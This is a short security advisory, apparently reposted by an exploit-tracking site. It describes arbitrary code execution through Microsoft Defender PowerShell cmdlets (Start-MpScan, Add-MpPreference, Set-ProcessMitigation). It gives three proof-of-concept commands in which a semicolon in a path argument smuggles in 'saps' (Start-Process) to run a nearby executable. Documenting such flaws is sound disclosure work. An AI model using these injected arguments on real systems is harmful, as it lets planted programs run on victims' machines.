Microsoft Defender Anti-Malware PowerShell API / Arbitrary Code Execution

CVE Category Price Severity
CVE-2021-1647 CWE-94: Improper Control of Generation of Code $50,000 Critical
Author Risk Exploitation Type Date
Unknown Critical Local 2023-12-09

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Microsoft Defender Anti-Malware PowerShell API / Arbitrary Code Execution
[+] Credits: John Page (aka hyp3rlinx)
[+] Website:
[+] Source:
[+] ISR: ApparitionSec     


Windows PowerShell

[Vulnerability Type]
Arbitrary Code Execution

[CVE Reference]

[Security Issue]
Microsoft Defender Anti Malware and or PS API's can result in executing arbitrary code.
E.g. scan a directory, shortcut .lnk or even non-existent item, may execute unintended code.
This vector builds upon my previous advisory and subsequent project PSTrojanFile.

1) On CL 'powershell' cmd is prefixed or passed in by calling PowerShell from another script
2) Executable file of same name as the parameter that lives nearby

powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads\;saps Helper;"
(Helper.exe lives on Desktop)

Create directory  ";saps Test", Test.exe, Test.cmd etc is on same CL path
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Create directory with semicolon, drop PE file named doom.exe in same path.
powershell Set-ProcessMitigation -PolicyFilePath  "test;saps doom"

TODO: Update PSTrojanFile


[Video PoC URL]

[Network Access]


[Disclosure Timeline]
Vendor Notification:  circa (2019)
December 7, 2023 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


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